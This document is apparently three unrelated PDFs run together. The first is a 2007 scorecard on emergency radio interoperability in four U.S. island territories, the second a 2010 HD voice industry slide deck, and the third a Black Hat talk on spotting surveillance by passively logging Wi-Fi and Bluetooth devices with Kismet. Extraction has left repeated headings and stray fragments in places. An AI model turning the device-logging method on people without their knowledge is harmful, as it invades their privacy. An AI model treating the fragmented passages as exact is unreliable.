interoperability resources (e.g., gateway) to improve proficiency
•
Consider adding interoperable communications as an evaluation component for all future exercises and
day-to-day activities
Below is a summary of the area’s existing technology used to provide communications interoperability:
Technology Overview
Technology Overview
Technology Overview
Technology Overview
The Government of Guam (GovGuam) operates an 800 megahertz (MHz), analog, Motorola Automatic Multiple Site
Selection SmartNet™ radio system. All GovGuam agencies use this system. Interoperable communications between
GovGuam agencies and their federal partners is achieved through console patching.
The SmartNet system is very old, and Motorola no longer makes parts for it. Guam is beginning the process of looking
into purchasing a new 700 or 800 MHz trunked radio system.
Urban/Metropolitan Area
B-50
January 2007
Tactical Interoperable Communications Scorecards
Northern Mariana Islands
Tactical Interoperable Communications Scorecard
Summary
Summary
Summary
Summary
Governance:
Intermediate Implementation
Standard Operating Procedures:
Established Implementation
Usage:
Intermediate Implementation
The Northern Mariana Islands designated the entire Commonwealth of the Northern Mariana Islands (CNMI) as its
metropolitan area (area), which consists of a chain of 14 volcanic islands in the southwestern Pacific Ocean. Of these
14 islands, 3 are inhabited: Saipan, Tinian, and Rota. However, about 90 percent of CNMI’s population lives on
Saipan, which is the capital.
Governance: Intermediate Implementation
10%
10%15%
15%
The Tactical Interoperable Communications Plan (TICP) Working Group was established in 2005 to create the TICP
and includes local and state agencies (e.g., public health, state police, Port Authority). The area has a mix of formal and
informal partnerships among agencies that would be supported by formalized agreements. Although some preliminary
planning has begun, CNMI does not have a strategic plan for interoperable communications in place. Through federal
grant funds, organizations within CNMI give some consideration to regional communications interoperability, but have
faced considerable decline in local funding (e.g., pullout of garment companies, decline of tourism). Despite the
governance challenges the territory faces, with the mayor’s participation on the governance committee and the governor
acting as the final decision-maker on interoperability decisions, the area’s leaders demonstrate that interoperability is a
political and fiscal priority.
Recommendations:
•
Clarify federal membership in the decision-making group (e.g., TICP Working Group), and document roles and
responsibilities
•
Develop, document, and formalize agreements (e.g., signed memorandum of understanding [MOU] with defined
roles and responsibilities) among all participating agencies relating to regional interoperability
•
Reference all applicable agreements (e.g., MOUs, intergovernmental agreements) in the TICP and store them in an
accessible format
•
Establish a regular review process to ensure that agreements remain current and relevant
•
Develop, document, and implement a regional strategic plan (beyond the operational TICP) with participant
approval, adoption, and acceptance, that takes into account a long-term communications funding strategy (beyond
grants)
•
Align local and CMNI-wide strategic planning efforts to ensure regional interoperability needs are met
•
Develop and implement a regional approach to long-term (e.g. 3 to 5 years) sustainable funding that is consistent
with the strategic plan
•
Continue to champion a governance structure that will support regional communications interoperability, and
involve senior regional government leadership on long-term funding plans
Standard Operating Procedures (SOP): Established Implementation
15%
20%
20%
20%
The Northern Mariana Islands incorporated existing policies and procedures (e.g., from the Civil Defense Office very
high frequency [VHF] systems policies) into the TICP. Since these SOPs were already well established and used
frequently, the public safety agencies in the area were well positioned to adopt the TICP. However, because the area’s
previous SOPs relate to the old system, the area should take steps to ensure the TICP includes updated SOPs that relate
to the new 800 megahertz (MHz) system. The area has begun to disseminate these polices and procedures (e.g.,
distributed to dispatch centers, available with gateways) to participating agencies. Because of the limited scope of the
exercise, interoperable communications solutions were not always required, and participants were therefore unable to
10%
10%15%
15%
10%
10%15%
15%
15%
20%
20%
20%
Urban/Metropolitan Area
B-51
January 2007
Tactical Interoperable Communications Scorecards
demonstrate proficiency in executing all of the SOPs listed in the TICP (e.g., fixed gateway request not observed,
mobile gateway request procedures not followed). The area began implementing National Incident Management
System (NIMS)/Incident Command System (ICS) less than 6 months ago, which implies that the area is still in the
earlier stages of implementing NIMS/ICS policies and procedures. This fact was evident during the exercise, as the
participants did not demonstrate familiarity with command and control processes (e.g., no incident command was
established, incomplete and inaccurate ICS Form 205).
Recommendations:
•
Continue to distribute updated regional interoperability SOPs (e.g., document demonstrated exercise procedures not
originally included in the TICP)
•
Develop training policies and requirements for inclusion in the TICP
•
Initiate basic and advanced training and exercises to SOPs (include TICP implementation of communications unit)
and for NIMS/ICS to ensure that all participating first responder agencies attain and maintain NIMS/ICS
compliance
Usage: Intermediate Implementation
10%
10%15%
15%
The CNMI regularly uses its shared 800 MHz system in day-to-day, task force, and mutual aid situations. While
proficient in daily use, during the TICP validation exercise, participants experienced difficulties in demonstrating
familiarity and proficiency in a tactical response situation using CNMI’s interoperable communications equipment (e.g.,
radio cache and gateways). Although the scope of the exercise was not sufficient to require the use of any interoperable
assets, evaluators noted that when participants did attempt to communicate via the shared systems, “no solution was
observed to compensate for the significant queuing noted,” and cellular and landline telephones communications were
relied upon heavily.
Recommendations:
•
Regularly test and exercise deployment of and procedures for territory’s interoperability resources (e.g., radio
cache, gateway) to improve proficiency
•
Consider adding interoperable communications as an evaluation component for all future exercises and day-to-day
activities
Below is a summary of the area’s existing technology used to provide communications interoperability:
Te
Te
Te
Technology Overview
chnology Overview
chnology Overview
chnology Overview
The CNMI operates an 800 MHz, trunked, Motorola SmartZone™ radio system that the Department of Public Safety
(DPS), Emergency Management Office (EMO), Public Health, Department of Public Works, Customs and Border
Protection, and Immigration and Customs Enforcement use. Repeaters are located on Mt. Tapotchao, a console and
central electronics bank are located at DPS, and another console is located at EMO. The Ports Authority, Utility
Corporation, and Mayor's Office each run their own VHF radio systems. CNMI incorrectly specified cache radios in its
TICP. The actual number of caches and the radios in them is unknown. The SmartZone system is 14 years old, and
Motorola no longer makes parts for it. Furthermore, the CNMI jurisdictions are separated by large bodies of water,
which makes reliable communications using their current system very difficult. The need for interoperability is
apparent and would be easier with much newer technology (e.g., T1 or microwave backhaul links). CNMI would like to
replace this system with a Project 25 system but does not have the funding for such an undertaking.
Urban/Metropolitan Area
B-52
January 2007
Tactical Interoperable Communications Scorecards
Puerto Rico
Tactical Interoperable Communications Scorecard
Summary
Summary
Summary
Summary
Governance:
Intermediate Implementation
Standard Operating Procedures:
Intermediate Implementation
Usage:
Intermediate Implementation
The Commonwealth of Puerto Rico (PR) has designated San Juan, the most populous area of Puerto Rico, as
the metropolitan area (area). The San Juan area consists of the Bayamón, Guaynabo, and San Juan
municipalities.
Governance: Intermediate Implementation
10%
10%15%
15%
In March 2006, the Puerto Rico Communications Interoperability Committee (PRCIC) was established to
develop the Tactical Interoperable Communications Plan (TICP) for the area. The PRCIC has operational,
technical, and training working groups that include municipal, commonwealth, and federal agencies. The
PRCIC is dedicated to developing interoperability across the commonwealth as a whole through strategic
planning efforts. Although there are currently only informal agreements and partnerships among public
safety agencies in the area, beyond the operational focus of the TICP, the area is working toward
implementing the formalized TICP and regional SOP. The area does not currently base funding and
equipment procurement decisions on regionwide interoperable communications goals, but is working to
develop a more strategic, long-term funding plan. Recently in the area, there has been a commendable
movement toward improving interoperability with the establishment of the PRCIC, but the area does not
have a sustained history of dedicated fiscal and political support for interoperable communications.
Recommendations:
•
Continue to support the decision-making group through regularly scheduled meetings and actively
working issues to address regional (tactical and strategic) interoperability
•
Continue to document and formalize agreements (e.g., memoranda of understanding) among all
participating agencies to achieve regional interoperability
•
Continue the interoperability strategic planning process toward the development and implementation of a
strategic plan, with participant approval, adoption, and acceptance
•
Align regional and territorywide strategic planning efforts to ensure that regional communications
interoperability needs are met
•
Develop and implement a regional approach to long-term interoperability planning and sustainable
funding
•
Incorporate a regional interoperability funding strategy into a strategic plan, considering funding models
(in addition to grants) that can leverage regional and territorywide strategic planning efforts
•
Involve additional political leaders in championing a governance structure that would more fully support
territorywide interoperability
Standard Operating Procedures (SOP): Intermediate Implementation
10%
10%15%
15%
The TICP is the first regional communications interoperability SOPs for the San Juan metropolitan area, and
the area has taken steps to disseminate the new policies and procedures to all of the organizations involved.
Additionally, the area has begun to implement the SOPs through a tabletop exercise and three functional
exercises. While still a very new process, the area is aggressively working toward full implementation of the
10%
10%15%
15%
10%
10%15%
15%
10%
10%15%
15%
Urban/Metropolitan Area
B-53
January 2007
Tactical Interoperable Communications Scorecards
National Incident Management System (NIMS)/Incident Command System (ICS) with the involvement of
fire, emergency medical services (EMS), law enforcement, and other public safety support services (e.g.,
public works, U.S. Coast Guard, Department of Transportation, National Guard). During the exercise, the
participants encountered some difficulties following the SOPs for command and control, including an
incomplete ICS Form 205 and multiple participants performing the Communications Unit Leader
responsibilities.
Recommendations:
•
Ensure all regional communications interoperability SOPs are in place and put into practice, and increase
proficiency in their use
•
Initiate basic and advanced training and exercises for NIMS/ICS (include communications unit training)
•
Continue regular practice of NIMS/ICS to improve interoperable communications
Usage: Intermediate Implementation
10%
10%15%
15%
The area has the capability of using multiple interoperable communications methods for day-to-day
operations, but reports infrequent use and flexibility for incident interoperability. For example, during the
exercise, the participants were able to demonstrate use of the Puerto Rico Emergency Management Agency
(PREMA) gateway; however, EMS was not able to effectively communicate with the Fire Department. The
radio cache was not used, and the shared system was used to support Police and Fire on different talk groups,
but not as an interoperability method.
Recommendations:
•
Regularly test and exercise deployment of regional communications interoperability resources to
improve proficiency (e.g., shared system, gateway)
•
Consider adding communications interoperability as a component of all future exercises
Below is a summary of the area’s existing technology used to provide communications interoperability:
Technology Overvi
Technology Overvi
Technology Overvi
Technology Overview
ew
ew
ew
The Puerto Rico Police Department (PRPD) currently owns the only two trunked systems on the island. A Motorola®
SmartNet II™ 800 megahertz (MHz) analog trunked system is supported by three tower sites and covers the City of San
Juan and its vicinity. An EF Johnson® MultiNet™ 800 MHz analog trunked system is supported by 11 tower sites and
covers all the other municipalities in Puerto Rico. Interoperability between the two systems is achieved by a fixed
gateway and multi-protocol portable radios. PRPD is the only user of these systems. Most of the other public safety
agencies are on very high frequency and ultra high frequency simplex systems. The PRPD also owns a large number of
fixed and mobile gateways. Fixed gateways are installed at all the police regional headquarters for interoperability.
Currently, these gateways are configured as standalone units. However, there is a plan to interconnect the equipment
for remote operation. PREMA is currently acquiring a number of gateways as well.
Urban/Metropolitan Area
B-54
January 2007
Tactical Interoperable Communications Scorecards
U.S. Virgin Islands
Tactical Interoperable Communications Scorecard
Summary
Summary
Summary
Summary
Governance:
Intermediate Implementation
Standard Operating Procedures:
Established Implementation
Usage:
Intermediate Implementation
The U.S. Virgin Islands metropolitan area (area) is composed of four islands: St. Croix, St. John, St. Thomas,
and Water Island.
Governance: Intermediate Implementation
10%
10%15%
15%
The Virgin Islands Office of Homeland Security established a communications committee to oversee the
development and implementation of the Tactical Interoperable Communications Plan (TICP). The
committee has local, state, and federal representation, including administrators from St. Thomas, St. John,
and St. Croix. Although the area created regional SOPs in developing the TICP and organizations have
accepted the plan, it is not yet in practice across the islands. The area indicates that there is a strategic plan
addressing funding and operations; however, it is unclear if there is a strategic plan that incorporates
interoperable communications beyond the operational focus of the TICP operational policies and procedures.
It appears that limited and fragmented interoperable communications funding plans exist today (relying
primarily on grants); the area plans to align budget management and equipment procurement with strategic
interoperability goals but has not demonstrated that a long-term plan is currently in place. The area’s leaders
have demonstrated an understanding of the importance of interoperable communications and are working on
further developing political and fiscal support.
Recommendations:
•
Continue to support the decision-making group through regularly scheduled meetings and actively
working issues to address regional (tactical and strategic) interoperability
•
Continue to involve territory and federal organizations in the decision-making group and document roles
and responsibilities as part of group support territory wide interoperability
•
Document and put into practice the necessary interoperability agreements to ensure consistent
communications plans
•
In addition to the TICP, continue to develop and document a strategic plan with participant approval,
adoption, and acceptance
•
Involve additional leaders in championing a governance structure that fully supports territory wide
interoperability
Standard Operating Procedures (SOP): Established Implementation
15%
20%
20%
20%
The Virgin Islands built on previously existing policies and procedures, including the Emergency Operations
Plan, when creating the TICP. The area has disseminated its SOPs to all included organizations and dispatch
centers, and has taken steps to further provide training on the SOPs through the TICP Workshop. The area
had some level of difficulties implementing the SOPs during the exercise. The participants experienced
problems with the shared channels and neglected to follow the TICP policies and procedures to resolve the
issue. The area has been implementing National Incident Management System (NIMS)/Incident Command
System (ICS) in the area for more than 1 year, and fire, emergency medical services (EMS), law
enforcement, the Red Cross, and the Virgin Islands Rescue Squads are involved in training and
10%
10%15%
15%
10%
10%15%
15%
15%
20%
20%
20%
Urban/Metropolitan Area
B-55
January 2007
Tactical Interoperable Communications Scorecards
implementation. Based on the exercise, the area demonstrated familiarity with NIMS/ICS command and
control aspects; however, the participants experienced deficiencies in full implementation (e.g., incomplete
ICS Form 205 form and Communications Unit Leader designation confusion).
Recommendations:
•
Continue to develop, standardize, and put into practice regionwide SOPs for all applicable means of
interoperability (e.g., shared channels)
•
Initiate basic and advanced training and exercises on SOPs (include communications unit
implementation consistent with the TICP) to ensure that all participating first responder agencies attain
and maintain NIMS/ICS compliance
Usage: Intermediate Implementation
10%
10%15%
15%
The Virgin Islands has the capability to use shared channels and gateways on a daily basis. Although the
gateway solutions are frequently used, there remains but one equipment manager for the nine gateways
across the islands. Officials indicated that interoperable communications were effectively used during a
recent real-world event. During the exercise, evaluators witnessed some evidence that the practitioners were
less than familiar with some of their interoperability assets and their use. For example, the participants used
the gateway but set it up in a location that could have impeded use. The multidisciplinary use of shared
channels and the shared systems was minimal, which may have resulted in the lack of seamless
interoperability. During the exercise, EMS was unable to communicate back to its dispatcher on either the
EMS or mutual aid channels once they entered the Water and Power Authority gate. As such, an effective
use of the mutual aid channel was not demonstrated and the use of the channel never designated by the
Incident Command.
Recommendations:
•
Regularly test and exercise deployment of regional interoperability resources (e.g., resolve shared
channel and gateway issues involving state and federal agencies) to improve proficiency
•
Consider adding communications interoperability as a component of all future exercises
Below is a summary of the area’s existing technology used to provide communications interoperability:
Technology Overview
Technology Overview
Technology Overview
Technology Overview
Most public safety agencies in the U.S. Virgin Islands use simplex and repeated, conventional, very high frequency
(VHF) systems. There are about 15 mobile gateways between St. Croix, St. John, and St. Thomas. Two shared
channels are available for interoperability.
The Virgin Islands National Guard is transitioning from an 800 megahertz system to a VHF system. The Virgin Islands
Office of Homeland Security intends to establish a radio cache in the future. | pdf |
The Year of HD Voice -- 2010
Who, what, where, how?
(Actually, who, how, where, what)
Doug Mohney - Background
• Following the ICT sector for over two decades
• Writing for Boardwatch, The Inquirer, VON
Magazine (Pulvermedia), TMC
• Started HD voice coverage in May 2009
• Launch of HD Voice News (HD Connect Now)
in August 2009
The 2009 HD voice wake-up call
• France Telecom deployments
– Broadband: Over 500,000 G.722 VoIP endpoints
– Mobile: AMR-WB deployed in Moldova
• Global Crossing
– Built HD conference bridge for customer
– Working on open HD conferencing bridge
• Verizon Business
– Close to 5,000 phones at HQ
– Expects early adopters in 2010, general availability in 2011
• Cablevision (Optimum Lightwave)
– Deployed hosted HD voice service in 2H09
Yes…
• Once again, the United States of America is
being outclassed by the rest of the world in
telecommunications technology….
Or…
• U.S. carriers will wait until the smoke clears
and then get a deal because someone else has
done the hard R&D…
Who: Companies in HD voice
“ecosystem”
• IP desktop handset manufacturers – ALL major
– Aastra, AudioCodes, Avaya, Cisco, Polycom
• Mobile handset manufacturers
– Nokia, Sony Ericsson declared, anyone with Android & 4G,
others to come
• Network core
– Aculab, Dialogic, D2 Technologies, Ericsson, Trinity
Convergence
• Applications
– BroadSoft, CommuniGate, Unisys, WYDEVoice
• Service Providers
– Cablevision, France Telecom, 8x8, ooma, WorldGate
What is HD Voice? First--
• What is narrowband voice?
– Acoustic standards set in 1937
• Since ‘37, FM radio, TV, CD, HDTV, HD radio…
– PSTN grade call = 3.4 kHz range
– 300 Hz to 3400 Hz
– G.711 is VoIP equivalent, 64 kbp/s bandwidth
What is HD voice?
• Also known as wideband voice
• Range of at least 7 kHz sampling; i.e. twice the
range of G.711
• G.722 codec is baseline HD voice:
– 30 Hz to 7000 Hz
– 2x PSTN/G.711
– Still only need 64 kbit/s
• Other HD voice codecs include AMR-WB, SILK,
GIPS iSAC.
HD - Looking at Hertz
0
5000
10000
15000
20000
25000
30000
Benefits from HD voice
• Reduction of fatigue
– Narrowband clipping means brain plays “fill in the
blanks” in the background
– More data = less brain strain
– A reason why long conference calls suck!
• Better compensation and clarity
– Similar-sounding words like "sail" and "fail"
– Acronyms are “notorious” for garbling
• End up having to repeat and/or spell out
HD Voice is much more than a codec..
• Typically an all-IP application
• Requires capable speakers & microphones
– PSTN can’t handle wideband
– You can fake it on mobile network with the right gear
– SIP for interoperability
• Need good QoS, low latency
– If you can’t do vanilla VoIP…
• On large scale, need agreements to interconnect
via SIP for seamless HD calling, transcoding
between HD codecs
How do you get HD voice to talk to the
PSTN? To other HD voice users?
• Different codec types – Transcoding
– HD voice to PSTN/G.711/G.729
– G.722 to AMR-WB, SILK, iSAC
• Same codec type
– On same LAN
– Interconnection via SIP
HD voice and the island problem
• Service providers don’t do SIP
peering/interconnect/federations out of the box-
– Security considerations (SPIT, DDoS, you name it)
– ENUM is overhead
– Quality of Service
– Settlements (i.e. who gets cash)
• As a result, there are many HD voice islands:
– In enterprises
– At service providers
Building bridges to HD voice islands
•
Can peer (direct relationship)
– Service provider to service provider
– IP Peering Alliance
•
Group of independent hosting business VoIP guys
– Cloud Communications Alliance
•
Smaller group of guys in IP peering alliance sent out press release
•
Interconnection service
– Spoke and hub network
– Hub service provider
•
Manages ENUM lists
•
Technical, business, and legal management
– Xconnect ran HD voice trial in April-June timeframe
•
Many participants in the Cloud Communications Aliance
– Sprint PIN network
•
Doing vanilla VoIP
•
Could do other SIP (HD voice, video) if Sprint figures out what to do with PIN
Back to HD voice codecs
•
G.722
–
Based on G.711, people wanted better voice
–
Patents expired, now anyone can use it
•
AMR-WB aka G.722.2
–
Cellular industry wanted HD, based on AMR
–
Designed to conserve RF usage, 24 kbit/s for HD
–
Need to pay VoiceAge (and Nokia, FT, Ericsson) for patent
–
Currently nearly exclusively in cellular domain, but being pushed to wireline
•
iSAC
–
Google BOUGHT GIPS in May for $68 million
–
Proprietary (today) by Global IP Solutions (GIPS)
–
Licensed for use by AOL, Yahoo, QQ, Nimbuzz, WebEx, IBM Lotus, Citrix Online
–
Will Google open source one or more GIPS HD voice & video codecs???
•
SILK
–
Skype wanted “superwideband” codec with variable bit-rate adaptability based on CPU and
network availability
–
Royalty-free license
–
Samples between 8 to 24 kHz, use 6 to 40 kbit/s
And still more HD voice codecs…
•
G.722.1 / Polycom Siren)
–
Royalty-free usage, not open source.
–
Bit-rates from 16 to 32 kbit/s
–
Billions of minutes of usage on Vivex.
•
Fraunhofer Audio Communication Engine (ACE)
–
Include specifically designed MPEG codec “AAC Enhanced Low Delay”
•
“CD quality audio” at “very low coding delays and bitrates”
–
Pitched for 4G/LTE usage, other parts of toolkit include echo control software, IP streaming
stack and error concealment tools.
–
Why yes, you do have to pay royalties
•
Speex
–
Open source patent-free
–
Sampling from narrowband (8 kHz) to wideband and ultrawideband
–
Can use bitrates from 2 to 44 kbit/s
•
Broadcom BroadVoice
–
Offered royalty-free and open source under GNU (C, floating & fixed, GNU LGPL 2.1)
–
Wideband at 16 kHz sampling, 32 kbit/s, narrowband 8 kHz sampling, 16 kbit/s
Why people fight over codecs
•
Hardware designers
– Simpler is better, fewer codecs, less expense to test and support
– On wireless side, less cycles = more battery life
•
Wireless crowd
– Old guard: Every little RF bandwidth is sacred
• But this goes out the door with 3G/4G!!
• Some say this with a straight face as they prepare their pitch slides for
streaming video, two-way conferencing…yah, WTF
– Lean on the device CPU to compress (AMR-WB, SILK)
•
Network core
– More codecs, more transcoding between formats
– Service providers prefer to NOT transcode as it costs money & has
potential to lose HD voice goodness in translation between HD codecs
•
Developers
– Programmers all think they can write something better.
Apps that love HD voice
• Conferencing the “Killer App”
– Clarity, less stress, identify voices, accents less of a
barrier
• Multi-national conversations for bonus dollars
– Non-native speakers of language can
• Be understood better
• Better understand what is being said much better
• Transcription (i.e. voice to email)
– Computer-based fewer errors
– Human, same thing, easier, less replaying
Apps that should love HD voice
• Better IVR/anything processing voice
• Young and old
– Young (under 3) have squeaky voice, don’t
understand on a phone call
– Old, don’t hear so well; HD adds back some clue
• Public safety/national defense
– Better 911 calling
– Better translation/understanding of intercept
Who is doing HD voice?
• Major Carriers
• Mobile
• Cable/MSO
• Hosted VoIP/Business VoIP
• Consumer bypass play
• By region:
– Europe now
– Asia beginning
– North America “under the radar.”
Major Telecom Carriers
•
France Telecom
–
At least 500,000 users/end-points on broadband
–
Multiple mobile deployments announced
•
BT
–
BT hub, likely 2M G.722 capable end points deployed
•
Telstra
–
Hosted HD voice service for businesses
–
Could have up to 11,000 end-points internally
•
Global Crossing
–
Running HD conferencing bridge for top-tier customer
–
Public HD conferencing bridge coming
•
Verizon
–
Nearly 5,000 endpoints installed at HQ
–
Verizon Business: “Early adopters 2010, general availability 2011”
•
Deutsche Telekom
–
Tested with Ericsson back in 2006
•
Telecom Italia
–
Often repeated, but…
Mobile/Cellular
• France Telecom / Orange
– Moldova, Armenia (!) running
– France “by end of July”
– UK trials done, rollout “later this summer”/3Q
– Belgium, Luxembourg, Spain in 2010
• 3 UK
– Demo, teased media in 2010
• Deutsche Telekom (DT)
– Has trialed HD on LTE
• VoLGA and 4G expected to be drivers
Cable/MSO
•
CableLabs blessed DECT CAT-iq standard in 2009
– Wireless end-to-end G.722 call
– CPE with embedded CAT-iq starting to come out of pipeline
•
Cablevision
– Optimum Lightpath launched hosted HD service in June 2009
•
Cox
– “2011” is latest word.
•
Comcast
– The Cable Show 2010, CTO said “As we move to HD voice…”
• No timetable given.
•
Time-Warner Cable
– Has tested HD voice, coy on deployment plans
– Expects CPE to be capable “within 5 years…”
Business VoIP providers
• Many independent hosted providers
– Differentiator against bigger players
• 8x8 biggest in North America
– Aastra Hi-Q upgrade
– 70,000+ end-points (Jan 2010)
• Numerous players with 2,500 to 7,500 end-
points.
Consumer plays
•
Ooma
– Hardware/service bundle
– Second-generation Telo hardware does G.722, CAT-IQ
– 4Q 2009 shipped 25,000 units
– Do the math, could conservatively ship around 100K+ units in 2010
•
WorldGate
– The guys who did the OjO phone
– Have a two year, 300,000 unit deal to ship videophones to ACN; the
phone supports G.722 as well as video.
•
Vivox
– Provides voice via Siren 14 (G.722.1C) to MMORPGs & Second Life
– 16 million users, Over 2 billion minutes per month
– Customers include CCP Games, Electronic Arts, Gaia Online, Icarus
Studios, Linden Lab, NCsoft, Realtime Worlds, Sony Online
Entertainment and Wizards of the Coast.
HD Voice by region
• Europe
– FT leading, others joining.
• Asia
– Australia/Telstra offering hosted service
– Korea, Japan offering services
• North America
– “Under the radar” with earlier adopters in
enterprise, consumer, cable, and hosted VoIP.
Why use HD? Today’s apps
• Service provider attraction/retention
• Conferencing
• Multi-national
• As a part of a UC play
Service providers
• Attraction
– Better quality voice than narrowband, other carriers
• Retention
– Better quality product keeps people from switching (i.e.
keep churn down)
– France Telecom not charging extra for bband HD
• Differentiation
– Set apart from everyone else… until everyone else gets it
• Monetization
– Pay for better quality (?) Nobody knows
• Pre-pay vs post-pay interesting to watch
Conferencing – HD voice’s killer app
• Clearer communication
– Don’t have to repeat acronyms
• Less stressful
– People focus on content, not figuring out what is
being said
• Can identify individual voices easier
Multi-national/multi-lingual
• BIG winner for Fortune 500/international
businesses
• Non-native speakers can understand what is
being said better/easier
– Clearer speech, no clipping of similar sounds,
don’t have to guess/interpret
• Can understand non-native speakers better
– Accents much less of a factor because there’s no
clipping.
Unified Communications
• Rolled in as “yet another feature” in a UC play
• Better voice quality provides
– Clearer voice mail messaging
– More effective transcriptions
• Voice to email
• Less human work/intervention in voice-based
work products (Health care, legal, financial)
– Cablevision/Optimum Lightpath’s play in NY
Higher Education
• Desire to work with “leading edge”
• Large campus deployments
• Deployments of 5,000 (and more) end-points
– Penn State
– Texas Tech
How does HD progress?
• Mobile
• Broadband
• Around the world
Mobile HD voice progression
• France Telecom taking lead role in Europe
– Has upgraded data networks
– Bringing handset manufacturers in
• Expects full portfolio to be AMR-WB capable by end of 2011
• Expect competitors to match in Europe
• Asia – likely Japan
• North America – Roll some dice…
• Mobile HD voice likely to happen faster
– Typical handset lifecycle of 3 years
– Can “churn out” old gear with incentives
– Arms race (more features) and Moore’s Law
(faster/cheaper silicon) aid process
Broadband
• U.S. – Verizon/AT&T vs. Cable Companies
– Who blinks first?
– Once one comes in, others expected in “avalanche.”
– Cable appears to be on a path for 2010-2011
• Approved DECT CAT-iq standard in 2009
• CPE gear starting to come out in 2010
• Europe
– Nobody’s moved other than France Telecom (yet)
– BT, DT, Virgin likely, Norway and Holland also cited
• Asia
– Korea, Japan
HD voice around the world
• Europe
– Mobile - All HD over next 5 years
• Asia
– Mix of mobile and broadband
• North America
– Islands of HD today in business, consumer
– Cable companies by 2011
– Mobile likely a 4G-esque play – 2011/2012
For more information
• www.hdvoicenews.com
• TMC (www.tmcnet.com) has a HD voice
“Channel” with info | pdf |
#BHUSA @BlackHatEvents
Chasing Your Tail With A
Raspberry Pi
Matt Edmondson
#BHUSA @BlackHatEvents
Information Classification: General
Why Are We Talking About This?
• For some people, trying to figure out if they’re being
followed is a matter of physical safety for
themselves or others
• I was approached by a friend in this situation
looking for a technical option to use in conjunction
with traditional tradecraft
#BHUSA @BlackHatEvents
Information Classification: General
The New (i.e. Really Old) SDR: Surveillance
Detection Route
#BHUSA @BlackHatEvents
Information Classification: General
One Option: Looking for Persistent Digital
Signatures
• Go to Starbucks to grab a drink
• Hit the gas station to top off the tank
• Head over to the bookstore to look at magazines
• Now… Did I see any devices at all three locations?
#BHUSA @BlackHatEvents
Information Classification: General
One Option: Looking for Persistent Digital
Signatures Cont.
• We’ll accomplish this by passively detecting Wi-Fi
and Bluetooth devices we observe around us
• The devices could be part of an active connection, or
just looking for networks to connect to
#BHUSA @BlackHatEvents
Information Classification: General
Hardware
• For hardware I wanted to use things that I had
laying around in a closet
• I imagine many of you have these same things
gathering dust somewhere and if not, they’re cheap
#BHUSA @BlackHatEvents
Information Classification: General
Platform: Raspberry Pi is One Cheap Option
#BHUSA @BlackHatEvents
Information Classification: General
Wireless: Something You Can Put In Monitor
Mode
#BHUSA @BlackHatEvents
Information Classification: General
Power: A Battery Pack or Other Power
Source
#BHUSA @BlackHatEvents
Information Classification: General
Display: A Screen For Real Time Monitoring
#BHUSA @BlackHatEvents
Information Classification: General
Software: Kismet
• Open source with a fantastic Discord server
• Easy to install
• Passive
• Supports Wi-Fi, Bluetooth, SDR, ZigBee etc.
• Writes the data into a SQLite database
• Able to generate PCAP and other formats if needed
#BHUSA @BlackHatEvents
Information Classification: General
Everything Else is Just Python or Shell
Scripts
#BHUSA @BlackHatEvents
Information Classification: General
But It’s Not Perfect!
• “Perfect is the enemy of good” – Voltaire
• "Give them the third best to go on with; the second
best comes too late, the best never comes.“ -
Robert Watson-Watt
#BHUSA @BlackHatEvents
Information Classification: General
Back to Kismet
• By default Kismet starts up a new SQLite file every
time you start it (with a .kismet extension)
• We’ll just have that output to the same directory and
have our Python code parse whatever the newest
.kismet file in that directory is
#BHUSA @BlackHatEvents
Information Classification: General
A Slight Change in the Methodology
• Look for any Wi-Fi or Bluetooth devices currently in
the area which I also saw 5-10 minutes ago, 10-15
minutes ago or 15-20 minutes ago
• If there are, alert me with the MAC address, device
type (Wi-Fi Access point, BTLE etc.) and the time
frame I previously saw it
#BHUSA @BlackHatEvents
Information Classification: General
Our First Snag
• Not solvable with a simple SQL query by time frame
since Kismet stores the first and most recent time
stamps, but not those in between
• But there is a solution…
#BHUSA @BlackHatEvents
Information Classification: General
Enter the List!
• Create 5-10, 10-15 and 15-20 min lists at startup
• Initialize a list of current devices
• Every minute add things you’re seeing into the
current list
• Every five minutes, make the current devices the 5-
10 mins list
#BHUSA @BlackHatEvents
Information Classification: General
Now What?
• Every minute grab the devices that have been seen
in the previous 60 seconds, see if any of them are in
any of the 5-10 min,10-15 min or 15-20 min lists and
print an alert to the screen if so
#BHUSA @BlackHatEvents
Information Classification: General
We Don’t Want to Alert on Ourselves…
#BHUSA @BlackHatEvents
Information Classification: General
Let’s Make Some Ignore Lists
• At any time you can create an “ignore list” of every
MAC address seen in the latest kismet database
• These devices are ignored for the rest of the session
• You can delete or re-recreate the list at any time
#BHUSA @BlackHatEvents
Information Classification: General
Please Don’t Laugh… OK, You Can Laugh
• How do you do all this on a tiny touch screen with no
keyboard??
#BHUSA @BlackHatEvents
Information Classification: General
Field Testing
• Worked great in the lab, did everything it was
supposed to
• Took it out in the middle of nowhere, turned on a
new wireless device and saw…. nothing
#BHUSA @BlackHatEvents
Information Classification: General
MAC Randomization Was WAY More
Frequent Than I Thought
#BHUSA @BlackHatEvents
Information Classification: General
Is This a Deal Breaker?
• The MAC address logic works and needs to remain,
but we obviously can’t rely on it alone if we’re
counting on seeing devices that currently aren’t
connected to a Wi-Fi network when they’re looking
for Wi-Fi networks
• We’re going to have to dive deeper and look at what
was being probed for
#BHUSA @BlackHatEvents
Information Classification: General
Thank You Kismet!
• Kismet normalizes some fields in the database but
has a lot more data in JSON blobs
• raw_device_json["dot11.device"]["dot11.device.last_
probed_ssid_record"]["dot11.probedssid.ssid"]
• So now in addition to MACs, we can look for what
was being probed for, regardless of the MAC
address probing
#BHUSA @BlackHatEvents
Information Classification: General
User Display
#BHUSA @BlackHatEvents
Information Classification: General
User Display Cont
#BHUSA @BlackHatEvents
Information Classification: General
User Display Cont
#BHUSA @BlackHatEvents
Information Classification: General
The MVP Version
#BHUSA @BlackHatEvents
Information Classification: General
The…. Better…ish… version
#BHUSA @BlackHatEvents
Information Classification: General
We Said Earlier That Kismet Keeps Great
Logs
• Can we analyze these logs to find information about
the individuals following us?
• Potentially…
#BHUSA @BlackHatEvents
Information Classification: General
Sub-Optimal OPSEC
• Many organizations have a very bad habit of naming
their Wi-Fi networks the name of their agencies or
specialty units
#BHUSA @BlackHatEvents
Information Classification: General
Wigle.net
• I did this government
agency the courtesy of
sanitizing the first part of
their Wi-Fi network name
#BHUSA @BlackHatEvents
Information Classification: General
Path Forward
• More Wi-Fi adapters
• More wireless protocols
• GPS tracking
#BHUSA @BlackHatEvents
Information Classification: General
Special Thanks
• Mike Kershaw (@kismetwireless)
• Dominic White (@singe)
• Joshua Wright (@joswr1ght)
#BHUSA @BlackHatEvents
Information Classification: General
